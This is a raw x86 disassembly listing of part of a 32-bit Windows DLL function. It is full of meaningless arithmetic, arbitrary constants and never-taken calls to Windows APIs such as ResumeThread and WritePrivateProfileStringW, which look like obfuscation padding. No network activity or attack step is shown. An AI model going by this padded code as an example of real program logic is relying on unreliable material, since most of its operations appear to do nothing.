mov ecx, dword [ebp - 0x44]
sub ecx, eax
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
pop eax
setl cl
sub ecx, 0x69c0
neg ecx
sbb ecx, ecx
inc ecx
cmp eax, ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x100326c3
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x20], eax
jmp 0x100326bb
cmp dword [ebp - 0x48], eax
jne 0x100326c0
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x100326b8
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x100326a0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10032698
inc dword [ebp - 0x1c]
lea ecx, [ebp - 0x3b4]
cmp dword [ebp - 0x1c], ebx
jle 0x10032458
or esi, 0xffffffff
mov dword [ebp - 4], esi
call fcn.10017bc2
mov dword [ebp - 0x18], 0x81c
lea ecx, [ebp - 0x700]
mov dword [ebp - 0x30], 0x1e0bec03
push edi
call fcn.10017b3d
mov dword [ebp - 4], 0x14
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x48], 0x38e70e9e
mov dword [ebp - 0x2c], 0x84a57988
mov dword [ebp - 0x2c], 0xde45221b
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x5c], 0x3cec3345
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x58], 0x23552e29
mov dword [ebp - 0x44], 0xfffffffb
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x10032763
push dword [ebp - 0x24]
lea ecx, [ebp - 0x700]
call fcn.10017bc7
mov dword [eax], edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10032749
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x10032779
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1348], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10032768
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
test eax, eax
mov eax, dword [ebp - 0x18]
setns dl
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x18]
push edi
setle cl
xor edx, edx
sub eax, ecx
cmp eax, 0x2a10aa43
mov eax, dword [ebp - 0x18]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
cmp dword [ebp - 0x18], ecx
jl 0x100328e7
mov dword [ebp - 0x5c], 0x65cd
lea ecx, [ebp - 0x588]
call fcn.10017b3d
xor eax, eax
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x100327f6
push dword [ebp - 0x14]
lea ecx, [ebp - 0x588]
call fcn.10017bc7
mov dword [eax], 0x26a056eb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x100327d8
xor eax, eax
push eax
lea ecx, [ebp - 0x588]
call fcn.10017bc7
mov ecx, dword [ebp - 0x18]
xor ebx, ebx
cmp dword [eax], ecx
lea ecx, [ebp - 0x588]
setl bl
xor eax, eax
push eax
call fcn.10017bc7
mov ecx, dword [ebp - 0x30]
mov esi, eax
xor eax, eax
cmp ebx, ecx
mov ecx, dword [ebp - 0x30]
setle al
xor edx, edx
neg ecx
cmp ecx, eax
setne dl
xor eax, eax
imul edx, dword [esi]
test edx, edx
jne 0x10032842
mov esi, eax
cmp dword [ebp - 0x30], eax
je 0x10032844
mov esi, edi
inc dword [ebp - 0x20]
lea ecx, [ebp - 0x700]
push eax
call fcn.10017bc7
cmp esi, 0x93765224
mov edx, 0xffff
sbb ecx, ecx
inc ecx
cmp edx, ecx
lea ecx, [ebp - 0x588]
sbb esi, esi
neg esi
add esi, dword [eax]
xor eax, eax
push eax
call fcn.10017bc7
xor ebx, ebx
lea ecx, [ebp - 0x588]
cmp esi, dword [eax]
setge bl
xor eax, eax
push eax
call fcn.10017bc7
xor ecx, ecx
cmp ebx, dword [eax]
setl cl
xor eax, eax
mov dword [ebp - 0x48], ecx
lea ecx, [ebp - 0x700]
push eax
call fcn.10017bc7
mov edx, dword [ebp - 0x48]
xor ecx, ecx
cmp edx, dword [eax]
mov edx, 0x8d7d2a7e
mov eax, dword [ebp - 0x20]
setg cl
xor ebx, ebx
sub edx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x5c]
setle bl
sub ebx, 0xfffffffb
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
setg cl
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0x588]
call fcn.10017bc2
push 3
pop ebx
jmp 0x10032a28
lea ecx, [ebp - 0xa14]
call fcn.10017b3d
mov byte [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x6c], 0x51cc0d68
mov dword [ebp - 0x2c], 0xfffffffe
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x2c], 0x7429
mov dword [ebp - 0x2c], 0xfffffff9
mov dword [ebp - 0x60], 0x4b46114a
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x10032951
push dword [ebp - 0x14]
lea ecx, [ebp - 0xa14]
call fcn.10017bc7
mov dword [eax], 0x424acdff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10032933
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1003296a
push eax
lea ecx, [ebp - 0xa14]
call fcn.10017bc7
push 0
dec dword [eax]
dec dword [ebp - 0x18]
pop eax
cmp dword [ebp - 0x18], 0xfffffff7
jle 0x10032956
mov eax, dword [ebp - 0x50]
inc dword [ebp - 0x50]
test eax, eax
jne 0x100329cc
mov dword [ebp - 0x48], eax
xor ecx, ecx
mov eax, dword [ebp - 0x5c]
cmp eax, esi
mov eax, dword [ebp - 0x58]
setle cl
sub eax, ecx
mov ecx, 0xffff
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
cmp ecx, eax
sbb eax, eax
xor edx, edx
neg eax
sub eax, 0x15c408cd
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x68]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x60]
jg 0x100329cc
xor eax, eax
mov esi, eax
jmp 0x100329d0
mov esi, edi
xor eax, eax
neg esi
lea ecx, [ebp - 0x700]
neg esi
push eax
sbb esi, esi
neg esi
call fcn.10017bc7
or ecx, 0xffffffff
xor edx, edx
mov dword [eax], ecx
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x30]
imul ecx, esi
cmp ecx, eax
setl dl
xor eax, eax
cmp edx, 0xfffffffe
setg al
cmp eax, 0xfffffff7
mov eax, dword [ebp - 0x20]
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, 0xffffffff
setg cl
xor eax, eax
cmp ecx, edx
lea ecx, [ebp - 0xa14]
setne al
mov dword [ebp - 0x48], eax
call fcn.10017bc2
or eax, 0xffffffff
lea ecx, [ebp - 0x700]
mov dword [ebp - 4], eax
call fcn.10017bc2
xor eax, eax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], 0xcd9d7
mov dword [ebp - 0x50], 0x78254981
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x1a
push 2
pop esi
jne 0x10032ad9
push ebx
lea ecx, [ebp - 0xb64]
call fcn.10017b3d
mov dword [ebp - 4], 0x17
xor eax, eax
mov dword [ebp - 0x48], 0x1836ccb0
mov dword [ebp - 0x14], eax
jmp 0x10032a8c
push dword [ebp - 0x14]
call fcn.10017bc7
or ecx, 0xffffffff
mov dword [eax], ecx
inc dword [ebp - 0x14]
lea ecx, [ebp - 0xb64]
cmp dword [ebp - 0x14], ebx
jl 0x10032a7c
push esi
call fcn.10017bc7
cmp dword [eax], 0
je 0x10032ab8
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10032abf
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
jmp 0x10032abf
mov dword [ebp - 0x48], 0xffffffff
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb64]
call fcn.10017bc2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x1a
je 0x10032a5b
xor eax, eax
mov dword [ebp - 0x20], 0x8932
cmp dword [ebp - 0x20], eax
jne 0x10032afe
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x10032af5
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp - 0x50]
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x50]
cmp edx, eax
setg cl
xor eax, eax
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x2c], 0x15bb0028
mov dword [ebp - 0x5c], edi
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x60], 0xc23a
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x5c]
je 0x10032b43
mov dword [ebp - 0x44], ebx
dec dword [ebp - 0x44]
jmp 0x10032b54
xor eax, eax
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10032b56
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc dword [ebp - 0x60]
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x24], eax
push esi
call fcn.10017b3d
mov dword [ebp - 4], 0x18
xor eax, eax
mov dword [ebp - 0x44], 0xf6657eef
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10032ba4
push dword [ebp - 0x14]
lea ecx, [ebp - 0xe4]
call fcn.10017bc7
mov dword [eax], 0x65683c8f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10032b86
xor eax, eax
mov dword [ebp - 0x24], 0xfffffff7
jmp 0x10032bc2
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], 0
je 0x10032bbf
push eax
call dword [sym.imp.USER32.dll_RegisterClassW]
xor eax, eax
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffef
jl 0x10032bad
mov dword [ebp - 0x24], eax
jmp 0x10032d74
mov dword [ebp - 0x34], 0xddbc3707
mov dword [ebp - 0x48], 9
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], esi
jge 0x10032c04
push dword [ebp - 0x34]
lea ecx, [ebp - 0xe4]
call fcn.10017bc7
mov dword [eax], 8
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jl 0x10032be6
xor eax, eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], edi
jg 0x10032d71
or eax, 0xffffffff
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0x48], eax
push dword [ebp - 0x34]
call fcn.10017bc7
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0xe4]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
push dword [ebp - 0x34]
call fcn.10017bc7
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0xe4]
push dword [ebp - 0x34]
call fcn.10017bc7
push dword [ebp - 0x34]
lea ecx, [ebp - 0xe4]
call fcn.10017bc7
push dword [ebp - 0x34]
lea ecx, [ebp - 0xe4]
call fcn.10017bc7
mov esi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
add esi, 0xa7323eb5
neg esi
sbb esi, esi
xor edx, edx
inc esi
cmp esi, ecx
setle dl
cmp edx, dword [eax]
jle 0x10032c8f
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x10032c91
xor eax, eax
mov esi, eax
push dword [ebp - 0x34]
lea ecx, [ebp - 0xe4]
call fcn.10017bc7
mov ecx, dword [ebp - 0x34]
xor edx, edx
push dword [ebp - 0x34]
cmp dword [eax], ecx
lea ecx, [ebp - 0xe4]
setl dl
xor ebx, ebx
cmp edx, esi
setl bl
call fcn.10017bc7
push dword [ebp - 0x34]
xor ecx, ecx
cmp ebx, dword [eax]
setne cl
mov dword [ebp - 0x48], ecx
lea ecx, [ebp - 0xe4]
call fcn.10017bc7
mov ecx, dword [ebp - 0x48]
xor edx, edx
cmp dword [eax], ecx
mov eax, dword [ebp - 0x34]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x48], ecx
lea ecx, [ebp - 0xe4]
push dword [ebp - 0x34]
call fcn.10017bc7
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0xe4]
mov eax, dword [ebp - 0x34]
push edi
call fcn.10017bc7
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0xe4]
imul eax, dword [ebp - 0x24]
mov dword [ebp - 0x44], eax
push dword [ebp - 0x34]
call fcn.10017bc7
mov ecx, dword [ebp - 0x44]
xor edx, edx
neg ecx
cmp dword [eax], ecx
lea ecx, [ebp - 0xe4]
setle dl
mov dword [ebp - 0x44], edx
push dword [ebp - 0x34]
call fcn.10017bc7
mov esi, eax
lea ecx, [ebp - 0xe4]
xor eax, eax
push eax
call fcn.10017bc7
mov ecx, dword [eax]
add ecx, dword [esi]
mov eax, dword [ebp - 0x44]
add eax, ecx
mov dword [ebp - 0x48], eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jle 0x10032c10
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jle 0x10032bd0
or ebx, 0xffffffff
lea ecx, [ebp - 0xe4]
mov dword [ebp - 4], ebx
call fcn.10017bc2
mov dword [ebp - 0x34], edi
xor eax, eax
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x35], al
cmp byte [ebp - 0x35], al
je 0x10032da8